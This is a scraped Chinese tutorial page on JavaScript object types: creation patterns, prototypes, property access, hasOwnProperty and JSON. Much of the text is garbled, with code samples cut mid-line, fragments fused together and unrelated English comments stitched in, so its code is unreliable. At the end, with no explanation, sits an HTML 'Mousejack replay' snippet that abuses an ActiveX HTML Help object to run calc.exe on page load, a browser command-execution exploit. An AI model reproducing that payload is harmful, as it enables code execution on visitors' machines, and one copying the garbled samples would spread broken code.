杰晶网络

详解JavaScript对象类型
网络编程 2024/11/13 佚名
3 2

JavaScrtip有六种数据类型，一种复杂的数据类型（引用类型），即Object对象类型，还有五种简单的数据类型（原始类型）：Number、String、Boolean、Undefined和Null。其中，最核心的类型就是对象类型了。同时要注意，简单类型都是不可变的，而对象类型是可变的。
 什么是对象 
一个对象是一组简单数据类型（有时是引用数据类型）的无序列表，被存储为一系列的名-值对(name-value pairs)。这个列表中的每一项被称为 属性（如果是函数则被称为 方法）。 
下面是一个简单的对象：

   var myFirstObject = { 
    firstName: "Richard",
    favoriteAuthor: "Conrad"
  };

可以把对象考虑成一个列表，列表中的每一项（属性或方法）都以名-值对的方式存储。上面例子中，对象的属性名就是firstName和favortieAuthor，相应的，对象的属性值为Richard和Conrad。
 属性名可以是字符串或者数字，但是如果以数字作为属性名，则必须以方括号（方括号记法）来获得这个数字属性名对应的属性值。稍后有方括号记法的更详细解释。下面是一个方括号记法的例子：

   var ageGroup = {30: "Children", 100:"Very Old"};
  console.log(ageGroup.30) // 报错
  "30"]); // Children"htmlcode">



  // 原始类型数据是按值存储的 
  "Kobe"; 
  "Bryant"; // person的值改变了
  "Bryant"，对anthoerPerson也会不有丝毫影响，它仍然保存了原本person赋给它的值。

 将原始类型的按值存储跟引用类型的按引用存储进行一下比较：







   var person = {name: "Kobe"};
  "Bryant";
  "Bryant"的时候，anotherPerson变量也反应出了这个变化，因为它并没有将person中的所有属性都复制一份保存起来，而是直接保存了对象的引用。




对象属性的特性（Attributes） 


注：Attribute一般也是翻译为属性，但是为了跟Propertie（也翻译为属性）进行区分，这里将其翻译为特性，这也是咨询过别人的，应该无伤大雅

 每个对象属性不止保存了自身的名-值对，它同时还包含了三个特性，这三个特性默认被设置为true。

 "color: #800000">"color: #800000">"htmlcode">



 // 空对象
"yellow",
  shape: "round",
  sweetness: 8,
"Hmm Hmm Good");
  }
} 






2.对象构造函数

 第二种常用的方法是使用对象构造函数。构造函数是一种可以用来创建新对象的特殊函数，要使用new关键字来调用构造函数。 





var mango = new Object ();
mango.color = "yellow";
mango.shape= "round";
mango.sweetness = 8;
"Hmm Hmm Good");
}






虽然可以使用某些保留字或关键字，比如for作为对象属性的名称，不过这可不是一个明智的选择。

 对象的属性可以包含任何数据类型，包括Number，Arrays，甚至是其它的Object。

 对象创建的实践模式

 对于创建只使用一次的用于存储数据的简单对象，上面的两种方法就可以满足需求。 

但是，假设有一个程序用于展示水果和它的详细信息。程序中的每个水果类型都有如下对象属性：color, shape, sweetness, cost 和一个showName函数。要是每次创建一个新的水果对象时，都得敲一遍下面的代码，那将是十分乏味和低效率的。







   var mangoFruit = {
    color: "yellow",
    sweetness: 8,
    fruitName: "Mango",
    nativeToLand: ["South America", "Central America"],
  "This is " + this.fruitName);
    },
    "Grown in:" + eachCountry);
      });
    }
  } 






如果你有10个水果，你就得添加10次相同的代码。并且，如果想修改nativeTo函数，就得在10个不同的地方进行修改。再进一步推想，如果你在开发一个大型网站，你为上面的对象都一个一个添加了属性。但是，你突然发现你创建对象的方式不是很理想，你想要进行修改，这时又该怎么办。

 为了解决这些重复性的问题，软件工程师们发明了各种模式（对于重复问题和常见任务的解决方案），使用开发程序更有效率和合理化。

 下面是两种创建对象的常用模式：

 1.构造方法模式







function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) {
  this.color = theColor;
  this.sweetness = theSweetness;
  this.fruitName = theFruitName;
  this.nativeToLand = theNativeToLand;

  this.showName = function () {
    console.log("This is a " + this.fruitName);
  }

  this.nativeTo = function () {
    this.nativeToLand.forEach(function (eachCountry) {
      console.log("Grown in:" + eachCountry);
    });
  }
} 







使用这种模式，很容易就可以创建出各式各样的水果来。像这样：







 var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]);
mangoFruit.showName(); // This is a Mango."Brown", 5, "Pineapple", ["United States"]);
pineappleFruit.showName(); // This is a Pineapple. 







如果你要改变属性或方法，你只需要在一个地方进行修改就可以了。这个模式通过一个Fruit函数的继承，封装了所有水果的功能和特性。

 注意：

 "rich"; 

"htmlcode">



 // 首先，创建一个对象
var aMango = new Fruit ();
// 接着，直接在对象上定义mongoSpice方法
// 因为我们直接在对象身上定义了mangoSpice属性，所以它是aMango自身的属性，不是一个可继承的属性
aMango.mangoSpice = “some value”; 






"some value" 

"htmlcode">



 // 首先，增加一个方法
aMango.printStuff = function() { return "Printing"; }

// 现在，可以调用printStuff方法
aMango.printStuff(); 







2.原型模式







 function Fruit () {
}

Fruit.prototype.color = "Yellow";
Fruit.prototype.sweetness = 7;
Fruit.prototype.fruitName = "Generic Fruit";
Fruit.prototype.nativeToLand = "USA";

Fruit.prototype.showName = function () {
  console.log("This is a " + this.fruitName);
}

Fruit.prototype.nativeTo = function () {
  console.log("Grown in:" + this.nativeToLand);
} 







下面是在原型模式中调用Fruit()构造函数的方法：







 var mangoFruit = new Fruit ();
mangoFruit.showName(); //"color: #800000"> 1.点记法







 // 这是我们前面例子中一直使用的访问属性的方法
"Ways to Go", pages: 280, bookMark1:"Page 20"};
"color: #800000">2.中括号记法







 // 使用方括号启示访问book对象的属性：
console.log ( book["title"]); //Ways to Go"pages"]); // 280"title";
console.log ( book[bookTitle]); // Ways to Go"bookMark" + 1]); // Page 20






访问一个对象中不存在的属性会得到一个undefined。




自身属性和继承属性 

对象拥有自身属性和继承属性。自身属性是直接定义在对象上的属性，而继承属性是从Object的Prototype继承的属性。

 为了确写一个对象是否拥有某个属性（不管是自身属性还是继承属性），可以使用in操作符：







   // 创建一个有schoolName属性的对象
  var school = {schoolName:"MIT"};

  "schoolName" in school); // true"schoolType" in school); // false"toString" in school); // true 







hasOwnProperty

 为了确定一个对象是否拥有一个特定的自身属性，可以使用hasOwnPrototype方法。这个方法十分有用，因为我们经常需要枚举一个对象的所有自身属性，而不是继承属性。







   // 创建一个拥有schoolName属性的对象
  "MIT"};
  "schoolName")); // true"toString")); // false 






访问和枚举对象中的属性

 为了访问对象中可以枚举的属性（自身或者继承的），可以使用for-in循环或普通的循环方式。







   // 创建拥有3个属性的school对象: schoolName, schoolAccredited, and schoolLocation."MIT", schoolAccredited: true, schoolLocation:"Massachusetts"};
  "htmlcode">



   //使用for-in循环访问school对象中的属性
  for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation"this" keyword to define the property.
  */"University";
  }

  // Implement inheritance with the HigherLearning constructor"MIT";
  school.schoolAccredited = true;
  school.schoolLocation = "Massachusetts";

  //Use of the for/in loop to access the properties in the school object"htmlcode">



  var christmasList = {mike:"Book", jason:"sweater" }
  delete christmasList.mike; // deletes the mike property"[object Object]""this"关键字。
  //我们并没有在HigherLearning函数的prototype对象在定义educationLevel属性。

  console.log(school.hasOwnProperty("educationLevel")); // true"University 2";

  // 这个educationLevel2属性不属性HigherLearning实例的自身属性

  // educationLevel2属性不是school实例的自身属性"educationLevel2")); false"htmlcode">



 var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" }
  JSON.stringify (christmasList);
  // Prints this string:"{"mike":"Book","jason":"sweater","chels":"iPad"}"

  // To print a stringified object with formatting, add "null" and "4" as parameters:"{
  //   "mike": "Book",
  //   "jason": "sweater",
  //   "chels": "iPad""

  // JSON.parse Examples
  // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)"mike":"Book","jason":"sweater","chels":"iPad"}';

  // Let's convert it to an object"htmlcode">



<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
 
command exec
 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
 
<PARAM name="Command" value="ShortCut">
 
 <PARAM name="Button" value="Bitmap::shortcut">
 
 <PARAM name="Item1" value=',calc.exe'>
 
 <PARAM name="Item2" value="273,1,1">
 
</OBJECT>
 
<SCRIPT>
 
x.Click();
 
</SCRIPT>
 
</body></html> 







以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持。


                                

                                

                                     

                                

                                    标签：
                                        
JavaScript,对象类型

                                     

                            

                        

                        

                            

                                免责声明：本站文章均来自网站采集或用户投稿，网站不提供任何软件下载或自行开发的软件！
                                如有用户或公司发现本站内容信息存在侵权行为，请邮件告知！ 858582#qq.com
                            

                        

                        

                            
                            
                        

                        
                        

                            

                                
                                
                                    评论“详解JavaScript对象类型”
                                
                            

                            

                                

                                    
                                    

                                    

                                        
暂无“详解JavaScript对象类型”评论...

                                    

                                

                            

                        

                        
                    

                    

                        

                            

                                

                                    

                                        

                                    

                                    

                                        

                                            
                                        

                                    

                                

                                

                                    
www.imxmx.com
                                            
                                                杰晶网络 
                                    

                                    

                                        

                                            
                                        

                                        

                                            
                                        

                                        

                                            
                                        

                                        

                                            
                                        

                                    

                                    

                                    

                                        

                                            8,675无损音乐
                                        

                                        

                                            1,324高清电影
                                        

                                        

                                            213破解软件
                                        

                                        

                                            120,141站长资源
                                        

                                    

                                

                            

                            
                            
                        

                    

                

            

            
            

                

                    

                        

                            
更新动态

                        

                        

                            
                        

                    

                

            

            

                

                    友情链接 

                

                    

                        杰晶网络
                        DDR爱好者之家
                        南强小屋
                        黑松山资源网
                        白云城资源网